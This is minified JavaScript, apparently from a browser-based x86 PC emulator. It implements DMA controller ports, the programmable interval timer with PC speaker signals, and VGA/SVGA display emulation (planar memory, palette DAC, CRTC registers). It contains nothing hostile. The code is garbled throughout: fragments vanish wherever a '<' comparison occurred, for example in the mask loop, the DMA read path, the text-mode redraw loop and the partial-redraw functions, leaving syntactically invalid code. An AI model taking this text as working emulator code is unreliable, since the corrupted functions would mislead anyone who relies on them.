+this,this.port_page_write.bind(this,4));a.register_write(139,this,this.port_page_write.bind(this,5));a.register_write(137,this,this.port_page_write.bind(this,6));a.register_write(138,this,this.port_page_write.bind(this,7));a.register_read(135,this,this.port_page_read.bind(this,0));a.register_read(131,this,this.port_page_read.bind(this,1));a.register_read(129,this,this.port_page_read.bind(this,2));a.register_read(130,this,this.port_page_read.bind(this,3));a.register_read(143,this,this.port_page_read.bind(this, +4));a.register_read(139,this,this.port_page_read.bind(this,5));a.register_read(137,this,this.port_page_read.bind(this,6));a.register_read(138,this,this.port_page_read.bind(this,7));a.register_write(1159,this,this.port_pagehi_write.bind(this,0));a.register_write(1155,this,this.port_pagehi_write.bind(this,1));a.register_write(1153,this,this.port_pagehi_write.bind(this,2));a.register_write(1154,this,this.port_pagehi_write.bind(this,3));a.register_write(1163,this,this.port_pagehi_write.bind(this,5)); +a.register_write(1161,this,this.port_pagehi_write.bind(this,6));a.register_write(1162,this,this.port_pagehi_write.bind(this,7));a.register_read(1159,this,this.port_pagehi_read.bind(this,0));a.register_read(1155,this,this.port_pagehi_read.bind(this,1));a.register_read(1153,this,this.port_pagehi_read.bind(this,2));a.register_read(1154,this,this.port_pagehi_read.bind(this,3));a.register_read(1163,this,this.port_pagehi_read.bind(this,5));a.register_read(1161,this,this.port_pagehi_read.bind(this,6));a.register_read(1162, +this,this.port_pagehi_read.bind(this,7));a.register_write(10,this,this.port_singlemask_write.bind(this,0));a.register_write(212,this,this.port_singlemask_write.bind(this,4));a.register_write(15,this,this.port_multimask_write.bind(this,0));a.register_write(222,this,this.port_multimask_write.bind(this,4));a.register_read(15,this,this.port_multimask_read.bind(this,0));a.register_read(222,this,this.port_multimask_read.bind(this,4));a.register_write(11,this,this.port_mode_write.bind(this,0));a.register_write(214, +this,this.port_mode_write.bind(this,4));a.register_write(12,this,this.portC_write);a.register_write(216,this,this.portC_write)}L.prototype.get_state=function(){return[this.channel_page,this.channel_pagehi,this.channel_addr,this.channel_addr_init,this.channel_count,this.channel_count_init,this.channel_mask,this.channel_mode,this.lsb_msb_flipflop]}; +L.prototype.set_state=function(a){this.channel_page=a[0];this.channel_pagehi=a[1];this.channel_addr=a[2];this.channel_addr_init=a[3];this.channel_count=a[4];this.channel_count_init=a[5];this.channel_mask=a[6];this.channel_mode=a[7];this.lsb_msb_flipflop=a[8]};L.prototype.port_count_write=function(a,b){A(b);this.channel_count[a]=this.flipflop_get(this.channel_count[a],b,!1);this.channel_count_init[a]=this.flipflop_get(this.channel_count_init[a],b,!0)}; +L.prototype.port_count_read=function(a){A(this.channel_count[a]);return this.flipflop_read(this.channel_count[a])};L.prototype.port_addr_write=function(a,b){A(b);this.channel_addr[a]=this.flipflop_get(this.channel_addr[a],b,!1);this.channel_addr_init[a]=this.flipflop_get(this.channel_addr_init[a],b,!0)};L.prototype.port_addr_read=function(a){A(this.channel_addr[a]);return this.flipflop_read(this.channel_addr[a])};L.prototype.port_pagehi_write=function(a,b){A(b);this.channel_pagehi[a]=b}; +L.prototype.port_pagehi_read=function(a){return this.channel_pagehi[a]};L.prototype.port_page_write=function(a,b){A(b);this.channel_page[a]=b};L.prototype.port_page_read=function(a){return this.channel_page[a]};L.prototype.port_singlemask_write=function(a,b){this.update_mask((b&3)+a,b&4?1:0)};L.prototype.port_multimask_write=function(a,b){A(b);for(var c=0;4>c;c++)this.update_mask(a+c,b&1<a.byteLength)e(!0);else{var k=this.cpu;this.channel_addr[d]+=g;a.get(b,g,function(l){k.write_blob(l,f);e(!1)})}}; +L.prototype.do_write=function(a,b,c,d,e){var g=this.channel_count[d]+1&65535,f=5<=d?2:1,k=g*f,l=this.address_get_8bit(d),m=!1,n=!1,p=this.channel_mode[d]&16;J("to "+A(l)+" len "+A(k),16);ck&&(n=!0);b+k>a.byteLength?e(!0):(this.channel_addr[d]+=g,this.channel_count[d]-=g,!m&&p&&(this.channel_addr[d]=this.channel_addr_init[d],this.channel_count[d]=this.channel_count_init[d]),a.set(b,this.cpu.mem8.subarray(l,l+k),()=>{n&&p?this.do_write(a,b+k,c-k,d,e):e(!1)}))}; +L.prototype.address_get_8bit=function(a){var b=this.channel_addr[a];5<=a&&(b<<=1);b=b&65535|this.channel_page[a]<<16;return b|=this.channel_pagehi[a]<<24};L.prototype.count_get_8bit=function(a){var b=this.channel_count[a]+1;5<=a&&(b*=2);return b};L.prototype.flipflop_get=function(a,b,c){c||(this.lsb_msb_flipflop^=1);return this.lsb_msb_flipflop?a&-256|b:a&-65281|b<<8};L.prototype.flipflop_read=function(a){return(this.lsb_msb_flipflop^=1)?a&255:a>>8&255};function qa(a,b){this.cpu=a;this.bus=b;this.counter_start_time=new Float64Array(3);this.counter_start_value=new Uint16Array(3);this.counter_next_low=new Uint8Array(4);this.counter_enabled=new Uint8Array(4);this.counter_mode=new Uint8Array(4);this.counter_read_mode=new Uint8Array(4);this.counter_latch=new Uint8Array(4);this.counter_latch_value=new Uint16Array(3);this.counter_reload=new Uint16Array(3);a.io.register_read(97,this,function(){var c=D.microtick(),d=66.66666666666667*c&1;c=this.did_rollover(2, +c);return d<<4|c<<5});a.io.register_write(97,this,function(c){c&1?this.bus.send("pcspeaker-enable"):this.bus.send("pcspeaker-disable")});a.io.register_read(64,this,function(){return this.counter_read(0)});a.io.register_read(65,this,function(){return this.counter_read(1)});a.io.register_read(66,this,function(){return this.counter_read(2)});a.io.register_write(64,this,function(c){this.counter_write(0,c)});a.io.register_write(65,this,function(c){this.counter_write(1,c)});a.io.register_write(66,this, +function(c){this.counter_write(2,c);this.bus.send("pcspeaker-update",[this.counter_mode[2],this.counter_reload[2]])});a.io.register_write(67,this,this.port43_write)}qa.prototype.get_state=function(){var a=[];a[0]=this.counter_next_low;a[1]=this.counter_enabled;a[2]=this.counter_mode;a[3]=this.counter_read_mode;a[4]=this.counter_latch;a[5]=this.counter_latch_value;a[6]=this.counter_reload;a[7]=this.counter_start_time;a[8]=this.counter_start_value;return a}; +qa.prototype.set_state=function(a){this.counter_next_low=a[0];this.counter_enabled=a[1];this.counter_mode=a[2];this.counter_read_mode=a[3];this.counter_latch=a[4];this.counter_latch_value=a[5];this.counter_reload=a[6];this.counter_start_time=a[7];this.counter_start_value=a[8]}; +qa.prototype.timer=function(a,b){var c=100;b||(this.counter_enabled[0]&&this.did_rollover(0,a)?(this.counter_start_value[0]=this.get_counter_value(0,a),this.counter_start_time[0]=a,this.cpu.device_lower_irq(0),this.cpu.device_raise_irq(0),0===this.counter_mode[0]&&(this.counter_enabled[0]=0)):this.cpu.device_lower_irq(0),this.counter_enabled[0]&&(c=(this.counter_start_value[0]-Math.floor(1193.1816666*(a-this.counter_start_time[0])))/1193.1816666));return c}; +qa.prototype.get_counter_value=function(a,b){if(!this.counter_enabled[a])return 0;b=this.counter_start_value[a]-Math.floor(1193.1816666*(b-this.counter_start_time[a]));a=this.counter_reload[a];b>=a?b%=a:0>b&&(b=b%a+a);return b};qa.prototype.did_rollover=function(a,b){b-=this.counter_start_time[a];return 0>b?!0:this.counter_start_value[a]>8;b=this.counter_next_low[a];3===this.counter_mode[a]&&(this.counter_next_low[a]^=1);a=this.get_counter_value(a,D.microtick());return b?a&255:a>>8}; +qa.prototype.counter_write=function(a,b){this.counter_reload[a]=this.counter_next_low[a]?this.counter_reload[a]&-256|b:this.counter_reload[a]&255|b<<8;3===this.counter_read_mode[a]&&this.counter_next_low[a]||(this.counter_reload[a]||(this.counter_reload[a]=65535),this.counter_start_value[a]=this.counter_reload[a],this.counter_enabled[a]=!0,this.counter_start_time[a]=D.microtick(),A(this.counter_reload[a]));3===this.counter_read_mode[a]&&(this.counter_next_low[a]^=1)}; +qa.prototype.port43_write=function(a){var b=a>>1&7,c=a>>6&3;a=a>>4&3;3!==c&&(0===a?(this.counter_latch[c]=2,b=this.get_counter_value(c,D.microtick()),this.counter_latch_value[c]=b?b-1:0):(6<=b&&(b&=-5),this.counter_next_low[c]=1===a?0:1,0===c&&this.cpu.device_lower_irq(0),0!==b&&3!==b&&2!==b&&A(b),this.counter_mode[c]=b,this.counter_read_mode[c]=a,2===c&&this.bus.send("pcspeaker-update",[this.counter_mode[2],this.counter_reload[2]])))};qa.prototype.dump=function(){};var ra=Uint32Array.from([655360,655360,720896,753664]),ua=Uint32Array.from([131072,65536,32768,32768]); +function M(a,b,c){this.cpu=a;this.bus=b;this.vga_memory_size=c;this.cursor_address=0;this.cursor_scanline_start=14;this.cursor_scanline_end=15;this.max_cols=80;this.max_rows=25;this.virtual_height=this.virtual_width=this.screen_height=this.screen_width=0;this.layers=[];this.start_address_latched=this.start_address=0;this.crtc=new Uint8Array(25);this.line_compare=this.offset_register=this.preset_row_scan=this.underline_location_register=this.vertical_blank_start=this.vertical_display_enable_end=this.horizontal_blank_start= +this.horizontal_display_enable_end=this.crtc_mode=0;this.graphical_mode_is_linear=!0;this.graphical_mode=!1;setTimeout(()=>{b.send("screen-set-mode",this.graphical_mode)},0);this.vga256_palette=new Int32Array(256);this.latch_dword=0;this.svga_version=45253;this.svga_height=this.svga_width=0;this.svga_enabled=!1;this.svga_bpp=32;this.svga_offset_y=this.svga_offset=this.svga_bank_offset=0;this.pci_space=[52,18,17,17,3,1,0,0,0,0,0,3,0,0,0,0,8,14680064,57344,224,0,0,0,0,0,0,191,254,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,244,26,0,17,0,0,190,254,0,0,0,0,0,0,0,0,0,0,0,0];this.pci_id=144;this.pci_bars=[{size:c}];this.pci_rom_size=65536;this.pci_rom_address=4272947200;this.name="vga";this.stats={is_graphical:!1,res_x:0,res_y:0,bpp:0};this.dac_state=this.dac_color_index_read=this.dac_color_index_write=this.index_crtc=0;this.dac_mask=255;this.dac_map=new Uint8Array(16);this.attribute_controller_index=-1;this.palette_source=32;this.color_select=this.horizontal_panning=this.color_plane_enable=this.attribute_mode= +0;this.sequencer_index=-1;this.plane_write_bm=15;this.clocking_mode=this.sequencer_memory_mode=0;this.graphics_index=-1;this.planar_rotate_reg=this.planar_mode=this.plane_read=0;this.planar_bitmap=255;this.max_scan_line=this.color_dont_care=this.color_compare=this.miscellaneous_graphics_register=this.planar_setreset_enable=this.planar_setreset=0;this.port_3DA_value=this.miscellaneous_output_register=255;c=a.io;c.register_write(960,this,this.port3C0_write);c.register_read(960,this,this.port3C0_read, +this.port3C0_read16);c.register_read(961,this,this.port3C1_read);c.register_write(962,this,this.port3C2_write);c.register_write_consecutive(964,this,this.port3C4_write,this.port3C5_write);c.register_read(964,this,this.port3C4_read);c.register_read(965,this,this.port3C5_read);c.register_write_consecutive(974,this,this.port3CE_write,this.port3CF_write);c.register_read(974,this,this.port3CE_read);c.register_read(975,this,this.port3CF_read);c.register_read(966,this,this.port3C6_read);c.register_write(966, +this,this.port3C6_write);c.register_write(967,this,this.port3C7_write);c.register_read(967,this,this.port3C7_read);c.register_write(968,this,this.port3C8_write);c.register_read(968,this,this.port3C8_read);c.register_write(969,this,this.port3C9_write);c.register_read(969,this,this.port3C9_read);c.register_read(972,this,this.port3CC_read);c.register_write_consecutive(980,this,this.port3D4_write,this.port3D5_write);c.register_read(980,this,this.port3D4_read);c.register_read(981,this,this.port3D5_read, +()=>this.port3D5_read());c.register_read(970,this,function(){return 0});c.register_read(986,this,this.port3DA_read);c.register_read(954,this,this.port3DA_read);this.dispi_index=-1;this.dispi_enable_value=0;c.register_write(462,this,void 0,this.port1CE_write);c.register_write(463,this,void 0,this.port1CF_write);c.register_read(463,this,void 0,this.port1CF_read);void 0===this.vga_memory_size||262144>this.vga_memory_size?this.vga_memory_size=262144:268435456>>0;this.svga_memory=r.view(Uint8Array,a.wasm_memory,d,this.vga_memory_size);this.diff_addr_min=this.vga_memory_size;this.diff_addr_max=0;this.diff_plot_min=this.vga_memory_size;this.diff_plot_max=0;this.image_data=null;b.register("screen-fill-buffer",function(){this.screen_fill_buffer()},this);this.vga_memory=new Uint8Array(262144);this.plane0=new Uint8Array(this.vga_memory.buffer, +0,65536);this.plane1=new Uint8Array(this.vga_memory.buffer,65536,65536);this.plane2=new Uint8Array(this.vga_memory.buffer,131072,65536);this.plane3=new Uint8Array(this.vga_memory.buffer,196608,65536);this.pixel_buffer=new Uint8Array(524288);var e=this;c.mmap_register(655360,131072,function(g){return e.vga_memory_read(g)},function(g,f){e.vga_memory_write(g,f)});a.devices.pci.register_device(this)} +M.prototype.get_state=function(){var a=[];a[0]=this.vga_memory_size;a[1]=this.cursor_address;a[2]=this.cursor_scanline_start;a[3]=this.cursor_scanline_end;a[4]=this.max_cols;a[5]=this.max_rows;a[6]=this.vga_memory;a[7]=this.dac_state;a[8]=this.start_address;a[9]=this.graphical_mode;a[10]=this.vga256_palette;a[11]=this.latch_dword;a[12]=this.color_compare;a[13]=this.color_dont_care;a[14]=this.miscellaneous_graphics_register;a[15]=this.svga_width;a[16]=this.svga_height;a[17]=this.crtc_mode;a[18]=this.svga_enabled; +a[19]=this.svga_bpp;a[20]=this.svga_bank_offset;a[21]=this.svga_offset;a[22]=this.index_crtc;a[23]=this.dac_color_index_write;a[24]=this.dac_color_index_read;a[25]=this.dac_map;a[26]=this.sequencer_index;a[27]=this.plane_write_bm;a[28]=this.sequencer_memory_mode;a[29]=this.graphics_index;a[30]=this.plane_read;a[31]=this.planar_mode;a[32]=this.planar_rotate_reg;a[33]=this.planar_bitmap;a[34]=this.max_scan_line;a[35]=this.miscellaneous_output_register;a[36]=this.port_3DA_value;a[37]=this.dispi_index; +a[38]=this.dispi_enable_value;a[39]=this.svga_memory;a[40]=this.graphical_mode_is_linear;a[41]=this.attribute_controller_index;a[42]=this.offset_register;a[43]=this.planar_setreset;a[44]=this.planar_setreset_enable;a[45]=this.start_address_latched;a[46]=this.crtc;a[47]=this.horizontal_display_enable_end;a[48]=this.horizontal_blank_start;a[49]=this.vertical_display_enable_end;a[50]=this.vertical_blank_start;a[51]=this.underline_location_register;a[52]=this.preset_row_scan;a[53]=this.offset_register; +a[54]=this.palette_source;a[55]=this.attribute_mode;a[56]=this.color_plane_enable;a[57]=this.horizontal_panning;a[58]=this.color_select;a[59]=this.clocking_mode;a[60]=this.line_compare;a[61]=this.pixel_buffer;a[62]=this.dac_mask;return a}; +M.prototype.set_state=function(a){this.vga_memory_size=a[0];this.cursor_address=a[1];this.cursor_scanline_start=a[2];this.cursor_scanline_end=a[3];this.max_cols=a[4];this.max_rows=a[5];a[6]&&this.vga_memory.set(a[6]);this.dac_state=a[7];this.start_address=a[8];this.graphical_mode=a[9];this.vga256_palette=a[10];this.latch_dword=a[11];this.color_compare=a[12];this.color_dont_care=a[13];this.miscellaneous_graphics_register=a[14];this.svga_width=a[15];this.svga_height=a[16];this.crtc_mode=a[17];this.svga_enabled= +a[18];this.svga_bpp=a[19];this.svga_bank_offset=a[20];this.svga_offset=a[21];this.index_crtc=a[22];this.dac_color_index_write=a[23];this.dac_color_index_read=a[24];this.dac_map=a[25];this.sequencer_index=a[26];this.plane_write_bm=a[27];this.sequencer_memory_mode=a[28];this.graphics_index=a[29];this.plane_read=a[30];this.planar_mode=a[31];this.planar_rotate_reg=a[32];this.planar_bitmap=a[33];this.max_scan_line=a[34];this.miscellaneous_output_register=a[35];this.port_3DA_value=a[36];this.dispi_index= +a[37];this.dispi_enable_value=a[38];this.svga_memory.set(a[39]);this.graphical_mode_is_linear=a[40];this.attribute_controller_index=a[41];this.offset_register=a[42];this.planar_setreset=a[43];this.planar_setreset_enable=a[44];this.start_address_latched=a[45];this.crtc.set(a[46]);this.horizontal_display_enable_end=a[47];this.horizontal_blank_start=a[48];this.vertical_display_enable_end=a[49];this.vertical_blank_start=a[50];this.underline_location_register=a[51];this.preset_row_scan=a[52];this.offset_register= +a[53];this.palette_source=a[54];this.attribute_mode=a[55];this.color_plane_enable=a[56];this.horizontal_panning=a[57];this.color_select=a[58];this.clocking_mode=a[59];this.line_compare=a[60];a[61]&&this.pixel_buffer.set(a[61]);this.dac_mask=void 0===a[62]?255:a[62];this.bus.send("screen-set-mode",this.graphical_mode);this.graphical_mode?(this.screen_height=this.screen_width=0,this.svga_enabled?(this.set_size_graphical(this.svga_width,this.svga_height,this.svga_bpp,this.svga_width,this.svga_height), +this.update_layers()):(this.update_vga_size(),this.update_layers(),this.complete_replot())):(this.set_size_text(this.max_cols,this.max_rows),this.update_cursor_scanline(),this.update_cursor());this.complete_redraw()}; +M.prototype.vga_memory_read=function(a){if(this.svga_enabled&&this.graphical_mode_is_linear)return this.cpu.read8((a-655360|this.svga_bank_offset)+3758096384|0);var b=this.miscellaneous_graphics_register>>2&3;a-=ra[b];if(0>a||a>=ua[b])return A(a),0;this.latch_dword=this.plane0[a];this.latch_dword|=this.plane1[a]<<8;this.latch_dword|=this.plane2[a]<<16;this.latch_dword|=this.plane3[a]<<24;if(this.planar_mode&8)return b=255,this.color_dont_care&1&&(b&=this.plane0[a]^~(this.color_compare&1?255:0)),this.color_dont_care& +2&&(b&=this.plane1[a]^~(this.color_compare&2?255:0)),this.color_dont_care&4&&(b&=this.plane2[a]^~(this.color_compare&4?255:0)),this.color_dont_care&8&&(b&=this.plane3[a]^~(this.color_compare&8?255:0)),b;b=this.plane_read;this.graphical_mode?this.sequencer_memory_mode&8?(b=a&3,a&=-4):this.planar_mode&16&&(b=a&1,a&=-2):b=0;return this.vga_memory[b<<16|a]}; +M.prototype.vga_memory_write=function(a,b){if(this.svga_enabled&&this.graphical_mode&&this.graphical_mode_is_linear)this.cpu.write8((a-655360|this.svga_bank_offset)+3758096384|0,b);else{var c=this.miscellaneous_graphics_register>>2&3;a-=ra[c];0>a||a>=ua[c]?(A(a),A(b)):this.graphical_mode?this.vga_memory_write_graphical(a,b):this.plane_write_bm&3&&this.vga_memory_write_text_mode(a,b)}}; +M.prototype.vga_memory_write_graphical=function(a,b){var c=this.planar_mode&3,d=this.apply_feed(this.planar_bitmap),e=this.apply_expand(this.planar_setreset),g=this.apply_expand(this.planar_setreset_enable);switch(c){case 0:b=this.apply_rotate(b);var f=this.apply_feed(b);f=this.apply_setreset(f,g);f=this.apply_logical(f,this.latch_dword);f=this.apply_bitmask(f,d);break;case 1:f=this.latch_dword;break;case 2:f=this.apply_expand(b);f=this.apply_logical(f,this.latch_dword);f=this.apply_bitmask(f,d); +break;case 3:b=this.apply_rotate(b),d&=this.apply_feed(b),f=this.apply_bitmask(e,d)}b=15;switch(this.sequencer_memory_mode&12){case 0:b=5<<(a&1);a&=-2;break;case 8:case 12:b=1<<(a&3),a&=-4}b&=this.plane_write_bm;b&1&&(this.plane0[a]=f>>0&255);b&2&&(this.plane1[a]=f>>8&255);b&4&&(this.plane2[a]=f>>16&255);b&8&&(this.plane3[a]=f>>24&255);a=this.vga_addr_to_pixel(a);this.partial_replot(a,a+7)};M.prototype.apply_feed=function(a){return a|a<<8|a<<16|a<<24}; +M.prototype.apply_expand=function(a){return(a&1?255:0)|(a&2?255:0)<<8|(a&4?255:0)<<16|(a&8?255:0)<<24};M.prototype.apply_rotate=function(a){return(a|a<<8)>>>(this.planar_rotate_reg&7)&255};M.prototype.apply_setreset=function(a,b){var c=this.apply_expand(this.planar_setreset);return(a|b&c)&(~b|c)};M.prototype.apply_logical=function(a,b){switch(this.planar_rotate_reg&24){case 8:return a&b;case 16:return a|b;case 24:return a^b}return a};M.prototype.apply_bitmask=function(a,b){return b&a|~b&this.latch_dword}; +M.prototype.text_mode_redraw=function(){var a=this.start_address<<1;const b=this.scan_line_to_screen_row(this.line_compare),c=Math.max(0,2*(2*this.offset_register-this.max_cols));for(var d=0;d>4&15]],this.vga256_palette[this.dac_mask&this.dac_map[f&15]]]);a+=2}a+=c}}; +M.prototype.vga_memory_write_text_mode=function(a,b){var c=Math.max(this.max_cols,2*this.offset_register);let d;if(a>>1>=this.start_address){var e=(a>>1)-this.start_address;d=e/c|0;c=e%c}else e=a>>1,d=(e/c|0)+this.scan_line_to_screen_row(this.line_compare),c=e%c;if(!(c>=this.max_cols||d>=this.max_rows)){if(a&1){var g=b;e=this.vga_memory[a&-2]}else e=b,g=this.vga_memory[a|1];this.bus.send("screen-put-char",[d,c,e,this.vga256_palette[this.dac_mask&this.dac_map[g>>4&15]],this.vga256_palette[this.dac_mask& +this.dac_map[g&15]]]);this.vga_memory[a]=b}};M.prototype.update_cursor=function(){var a=Math.max(this.max_cols,2*this.offset_register);let b;this.cursor_address>=this.start_address?(b=(this.cursor_address-this.start_address)/a|0,a=(this.cursor_address-this.start_address)%a):(b=(this.cursor_address/a|0)+this.scan_line_to_screen_row(this.line_compare),a=this.cursor_address%a);b=Math.min(this.max_rows-1,b);a=Math.min(this.max_cols-1,a);this.bus.send("screen-update-cursor",[b,a])}; +M.prototype.complete_redraw=function(){this.graphical_mode?this.svga_enabled?this.cpu.svga_mark_dirty():(this.diff_addr_min=0,this.diff_addr_max=524288):this.text_mode_redraw()};M.prototype.complete_replot=function(){this.graphical_mode&&!this.svga_enabled&&(this.diff_plot_min=0,this.diff_plot_max=524288,this.complete_redraw())};M.prototype.partial_redraw=function(a,b){athis.diff_addr_max&&(this.diff_addr_max=b)}; +M.prototype.partial_replot=function(a,b){athis.diff_plot_max&&(this.diff_plot_max=b);this.partial_redraw(a,b)};M.prototype.reset_diffs=function(){this.diff_addr_min=this.vga_memory_size;this.diff_addr_max=0;this.diff_plot_min=this.vga_memory_size;this.diff_plot_max=0};M.prototype.destroy=function(){};M.prototype.vga_bytes_per_line=function(){var a=this.offset_register<<2;this.underline_location_register&64?a<<=1:this.crtc_mode&64&&(a>>>=1);return a}; +M.prototype.vga_addr_shift_count=function(){var a=128+(~this.underline_location_register&this.crtc_mode&64);a-=this.underline_location_register&64;a-=this.attribute_mode&64;return a>>>6}; +M.prototype.vga_addr_to_pixel=function(a){var b=this.vga_addr_shift_count();if(~this.crtc_mode&3){var c=a-this.start_address;c&=this.crtc_mode<<13|-24577;c<<=b;var d=c/this.virtual_width|0;c%=this.virtual_width;switch(this.crtc_mode&3){case 2:d=d<<1|a>>13&1;break;case 1:d=d<<1|a>>14&1;break;case 0:d=d<<2|a>>13&3}return d*this.virtual_width+c+(this.start_address<>>=1);a=Math.ceil(a/(1+(this.max_scan_line&31)));this.crtc_mode&1||(a<<=1);this.crtc_mode&2||(a<<=1);return a};M.prototype.set_size_text=function(a,b){this.max_cols=a;this.max_rows=b;this.bus.send("screen-set-size-text",[a,b])}; +M.prototype.set_size_graphical=function(a,b,c,d,e){if(!this.stats.is_graphical||this.stats.bpp!==c||this.screen_width!==a||this.screen_height!==b||this.virtual_width!==d||this.virtual_height!==e){this.screen_width=a;this.screen_height=b;this.virtual_width=d;this.virtual_height=e;this.stats.bpp=c;this.stats.is_graphical=!0;this.stats.res_x=a;this.stats.res_y=b;if("undefined"!==typeof ImageData){const g=d*e,f=this.cpu.svga_allocate_dest_buffer(g)>>>0;this.dest_buffet_offset=f;this.image_data=new ImageData(new Uint8ClampedArray(this.cpu.wasm_memory.buffer, +f,4*g),d,e);this.cpu.svga_mark_dirty()}this.bus.send("screen-set-size-graphical",[a,b,d,e,c])}}; +M.prototype.update_vga_size=function(){if(!this.svga_enabled){var a=Math.min(1+this.horizontal_display_enable_end,this.horizontal_blank_start),b=Math.min(1+this.vertical_display_enable_end,this.vertical_blank_start);if(a&&b)if(this.graphical_mode){a<<=3;var c=this.offset_register<<4;this.attribute_mode&64&&(a>>>=1,c>>>=1);b=this.scan_line_to_screen_row(b);var d=Math.ceil(ua[0]/this.vga_bytes_per_line());this.set_size_graphical(a,b,8,c,d);this.update_vertical_retrace();this.update_layers()}else this.max_scan_line& +128&&(b>>>=1),c=b/(1+(this.max_scan_line&31))|0,a&&c&&this.set_size_text(a,c)}}; +M.prototype.update_layers=function(){this.graphical_mode||this.text_mode_redraw();if(this.svga_enabled)this.layers=[];else if(this.virtual_width&&this.screen_width)if(!this.palette_source||this.clocking_mode&32)this.layers=[],this.bus.send("screen-clear");else{var a=this.start_address_latched,b=this.horizontal_panning;this.attribute_mode&64&&(b>>>=1);var c=this.preset_row_scan>>5&3,d=this.vga_addr_to_pixel(a+c);a=d/this.virtual_width|0;var e=d%this.virtual_width+b;d=this.scan_line_to_screen_row(1+ +this.line_compare);d=Math.min(d,this.screen_height);var g=this.screen_height-d;this.layers=[];e=-e;for(var f=0;ethis.attribute_controller_index)A(this.attribute_controller_index),A(a),this.dac_map[this.attribute_controller_index]=a,this.attribute_mode&64||this.complete_redraw();else switch(this.attribute_controller_index){case 16:A(a);if(this.attribute_mode!==a){var b= +this.attribute_mode;this.attribute_mode=a;var c=0<(a&1);this.svga_enabled||this.graphical_mode===c||(this.graphical_mode=c,this.bus.send("screen-set-mode",this.graphical_mode));(b^a)&64&&this.complete_replot();this.update_vga_size();this.complete_redraw()}break;case 18:A(a);this.color_plane_enable!==a&&(this.color_plane_enable=a,this.complete_redraw());break;case 19:A(a);this.horizontal_panning!==a&&(this.horizontal_panning=a&15,this.update_layers());break;case 20:A(a);this.color_select!==a&&(this.color_select= +a,this.complete_redraw());break;default:A(this.attribute_controller_index),A(a)}this.attribute_controller_index=-1}};M.prototype.port3C0_read=function(){return(this.attribute_controller_index|this.palette_source)&255};M.prototype.port3C0_read16=function(){return this.port3C0_read()|this.port3C1_read()<<8&65280}; +M.prototype.port3C1_read=function(){if(16>this.attribute_controller_index)return A(this.attribute_controller_index),A(this.dac_map[this.attribute_controller_index]),this.dac_map[this.attribute_controller_index]&255;switch(this.attribute_controller_index){case 16:return A(this.attribute_mode),this.attribute_mode;case 18:return A(this.color_plane_enable),this.color_plane_enable;case 19:return A(this.horizontal_panning),this.horizontal_panning;case 20:return A(this.color_select),this.color_select;default:A(this.attribute_controller_index)}return 255}; +M.prototype.port3C2_write=function(a){A(a);this.miscellaneous_output_register=a};M.prototype.port3C4_write=function(a){this.sequencer_index=a};M.prototype.port3C4_read=function(){return this.sequencer_index};M.prototype.port3C5_write=function(a){switch(this.sequencer_index){case 1:A(a);var b=this.clocking_mode;this.clocking_mode=a;(b^a)&32&&this.update_layers();break;case 2:A(a);this.plane_write_bm=a;break;case 4:A(a);this.sequencer_memory_mode=a;break;default:A(this.sequencer_index),A(a)}}; +M.prototype.port3C5_read=function(){A(this.sequencer_index);switch(this.sequencer_index){case 1:return this.clocking_mode;case 2:return this.plane_write_bm;case 4:return this.sequencer_memory_mode;case 6:return 18}return 0};M.prototype.port3C6_write=function(a){this.dac_mask=a};M.prototype.port3C6_read=function(){return this.dac_mask};M.prototype.port3C7_write=function(a){A(a);this.dac_color_index_read=3*a;this.dac_state&=0};M.prototype.port3C7_read=function(){return this.dac_state}; +M.prototype.port3C8_write=function(a){this.dac_color_index_write=3*a;this.dac_state|=3};M.prototype.port3C8_read=function(){return this.dac_color_index_write/3&255}; +M.prototype.port3C9_write=function(a){var b=this.dac_color_index_write/3|0,c=this.dac_color_index_write%3,d=this.vga256_palette[b];if(0===(this.dispi_enable_value&32)){a&=63;const e=a&1;a=a<<2|e<<1|e}0===c?d=d&-16711681|a<<16:1===c?d=d&-65281|a<<8:(d=d&-256|a,A(b),A(d));this.vga256_palette[b]!==d&&(this.vga256_palette[b]=d,this.complete_redraw());this.dac_color_index_write++}; +M.prototype.port3C9_read=function(){var a=this.vga256_palette[this.dac_color_index_read/3|0]>>8*(2-this.dac_color_index_read%3)&255;this.dac_color_index_read++;return this.dispi_enable_value&32?a:a>>2};M.prototype.port3CC_read=function(){return this.miscellaneous_output_register};M.prototype.port3CE_write=function(a){this.graphics_index=a};M.prototype.port3CE_read=function(){return this.graphics_index}; +M.prototype.port3CF_write=function(a){switch(this.graphics_index){case 0:this.planar_setreset=a;A(a);break;case 1:this.planar_setreset_enable=a;A(a);break;case 2:this.color_compare=a;A(a);break;case 3:this.planar_rotate_reg=a;A(a);break;case 4:this.plane_read=a;A(a);break;case 5:var b=this.planar_mode;this.planar_mode=a;A(a);(b^a)&96&&this.complete_replot();break;case 6:A(a);this.miscellaneous_graphics_register!==a&&(this.miscellaneous_graphics_register=a,this.update_vga_size());break;case 7:this.color_dont_care= +a;A(a);break;case 8:this.planar_bitmap=a;A(a);break;default:A(this.graphics_index),A(a)}};M.prototype.port3CF_read=function(){A(this.graphics_index);switch(this.graphics_index){case 0:return this.planar_setreset;case 1:return this.planar_setreset_enable;case 2:return this.color_compare;case 3:return this.planar_rotate_reg;case 4:return this.plane_read;case 5:return this.planar_mode;case 6:return this.miscellaneous_graphics_register;case 7:return this.color_dont_care;case 8:return this.planar_bitmap}return 0}; +M.prototype.port3D4_write=function(a){this.index_crtc=a};M.prototype.port3D4_read=function(){return this.index_crtc}; +M.prototype.port3D5_write=function(a){switch(this.index_crtc){case 1:A(a);this.horizontal_display_enable_end!==a&&(this.horizontal_display_enable_end=a,this.update_vga_size());break;case 2:this.horizontal_blank_start!==a&&(this.horizontal_blank_start=a,this.update_vga_size());break;case 7:A(a);var b=this.vertical_display_enable_end;this.vertical_display_enable_end&=255;this.vertical_display_enable_end=this.vertical_display_enable_end|a<<3&512|a<<7&256;b!=this.vertical_display_enable_end&&this.update_vga_size(); +this.line_compare=this.line_compare&767|a<<4&256;b=this.vertical_blank_start;this.vertical_blank_start=this.vertical_blank_start&767|a<<5&256;b!==this.vertical_blank_start&&this.update_vga_size();this.update_layers();break;case 8:A(a);this.preset_row_scan=a;this.update_layers();break;case 9:A(a);this.max_scan_line=a;this.line_compare=this.line_compare&511|a<<3&512;b=this.vertical_blank_start;this.vertical_blank_start=this.vertical_blank_start&511|a<<4&512;b!==this.vertical_blank_start&&this.update_vga_size(); +this.update_layers();break;case 10:A(a);this.cursor_scanline_start=a;this.update_cursor_scanline();break;case 11:A(a);this.cursor_scanline_end=a;this.update_cursor_scanline();break;case 